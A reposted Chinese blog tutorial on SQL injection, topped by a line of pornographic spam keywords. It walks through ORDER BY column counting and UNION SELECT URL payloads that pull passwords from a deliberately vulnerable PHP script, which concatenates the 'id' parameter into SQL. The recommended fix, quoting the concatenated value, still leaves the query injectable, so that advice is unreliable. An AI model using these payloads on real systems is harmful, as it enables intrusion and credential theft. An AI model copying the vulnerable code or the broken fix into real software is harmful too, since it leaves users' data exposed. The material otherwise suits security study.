日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入的几种实用办法

發布時間:2024/1/17 数据库 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入的几种实用办法 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
一、查詢表中包含有多少列: 這里以DISCUZ舉例說明,如下 select * FROM pre_forum_thread ORDER BY 80 返回,Unknown column '80' in 'order clause',這樣可以判定一定小于80列,下面再試用 39 select * FROM pre_forum_thread ORDER BY 39 正常返回了數據,我們判定一定大于等于39,因此只要再試一下40就可以了,這里略過試用,對于開源程序,我完全可以知道他就是有39列。 二、構造參數,讀取數據庫中的密碼 這里以本地創建的一個表為例,前提是參數沒有被過濾等操作,表 account 含有三個字段,分別為 id,admin,password 表內包含數據為: 1 admin 12345678 2 test 134545 創建PHP讀取數據庫文件 x.php: <?php $link = mysql_connect('127.0.0.1','root','11111111'); mysql_select_db('xtest',$link); $id = isset($_GET['id'])?$_GET['id']:1; $sql = "SELECT * FROM `account` WHERE id = " . $id; $query = mysql_query($sql); while($row = mysql_fetch_array($query)){ echo $row['admin'] . "<br/>"; } ?> 訪問地址?http://127.0.0.1/x.php?id=2 返回數據 test,到這里開始SQL的注入使用,構造參數后的地址 http://127.0.0.1/x.php?id=2 union select 1,2,3 from `account` where id=2 在返回數據中,發現2被返回了,因此,需要修改這里的2位置為想要的字段內容,比如說 password ,即地址修改為 http://127.0.0.1/x.php?id=2 union select 1,password,3 from `account` where id=2 執行地址后返回數據: test 134545 這樣密碼就得到了。 當然這里只是簡單的舉例說明,沒有對密碼進行MD5加密,如果是MD5加密或其它加密的話,仍然需要接下來的破解,就不是這里主要講述的內容了。 此問題的解決辦法,說一個最簡單的吧 ,將SQL語句?$sql = "SELECT * FROM `account` WHERE id = " . $id; 修改為 $sql = "SELECT * FROM `account` WHERE id = '$id'"; 三、在第二個問題中,發現用戶是使用了 while將所有數據進行循環得出的數據,如果用戶不是循環,而是直接輸出了最后一條數據怎么辦呢? 這時,只要將參數重新修改,就可以只返回union回來的數據了,如下 http://127.0.0.1/x.php?id=3 union select 1,password,3 from `account` where id=2 因為表里面沒有這條id=3的數據,又或者 http://127.0.0.1/x.php?id=2 and 1=2 union select 1,password,3 from `account` where id=2 這里很明顯 1和2是不相等的

總結

以上是生活随笔為你收集整理的SQL注入的几种实用办法的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。